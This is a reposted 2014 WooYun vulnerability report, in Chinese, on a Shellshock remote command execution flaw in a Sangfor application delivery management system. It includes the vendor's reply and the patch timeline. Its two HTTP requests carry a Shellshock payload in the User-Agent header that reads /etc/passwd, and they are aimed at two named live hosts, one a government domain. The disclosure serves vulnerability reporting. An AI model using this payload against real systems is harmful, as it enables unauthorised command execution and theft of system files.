linda

漏洞概要
缺陷编号：        WooYun-2014-79154
漏洞标题：        深信服某管理系统产品BASH远程命令执行漏洞(无需登陆)
相关厂商：        深信服
漏洞作者：        路人甲
提交时间：        2014-10-13 11:02
公开时间：        2014-11-27 11:02
漏洞类型：        命令执行
危害等级：        高
漏洞状态：        厂商已经确认
漏洞来源：        http://www.wooyun.org
Tags标签：        无


漏洞详情披露状态：
2014-10-13：        细节已通知厂商并且等待厂商处理中
2014-10-14：        厂商已经确认，细节仅向厂商公开
2014-10-17：        细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2014-12-08：        细节向核心白帽子及相关领域专家公开
2014-12-18：        细节向普通白帽子公开
2014-12-28：        细节向实习白帽子公开
2015-01-11：        细节向公众公开

简要描述：深信服某系统BASH远程命令执行漏洞
详细说明：深信服应用交付管理系统，多个版本存在bash远程命令执行漏洞

版本4.5，版本3.9都存在漏洞



版本4.5

https://cxxjs.com/cgi-bin/login.cgi?action=log&fro=self#


code 区域Host: cxxjs.com
User-Agent: () { :;}; echo  `/bin/cat /etc/passwd`
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: adx_flag=1819988463
DNT: 1
Connection: keep-alive
Cache-Control: max-age=0

这里会在首页直接回显，或者点击查看版本，也会回显







版本3.9

https://xtds.gov.cn/cgi-bin/login.cgi?action=log&fro=self&rand=0.12944530067034066#


code 区域Host: xtds.gov.cn
User-Agent: () { :;}; echo  `/bin/cat /etc/passwd`
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

然后点击产看版本，内容就是passwd的内容了





漏洞证明：





修复方案：升级

版权声明：转载请注明来源 路人甲@乌云漏洞回应厂商回应：危害等级：低
漏洞Rank：5
确认时间：2014-10-14 11:08
厂商回复：感谢白帽子提出的问题！由于此次漏洞已经解决，所以降级处理，漏洞最终评定级别为低。
此漏洞已于今年9月24日bash漏洞爆出时被确认，补丁包已于9月25日发布，用于修复产品漏洞。本次漏洞提及的用户是由于使用beta版本和设备无法联网，导致未能升级bash补丁，我们的客服人员将快速联系用户，帮助用户完成版本升级和更新补丁包。
请白帽子私信留下联系方式，我们将会给您送出小礼品！
最新状态：2014-11-17：对于使用了beta版本的用户，我们已经于10月14日给客户的设备版本进行了升级，并给用户打上了补丁包。对于设备无法联网的客户，我们的工程师已经于10月14日联系客户，并给客户打上了补丁包。


原文：http://www.wooyun.org/bugs/wooyun-2014-079154

[ 本帖最后由 linda 于 2016-2-4 17:04 编辑 ]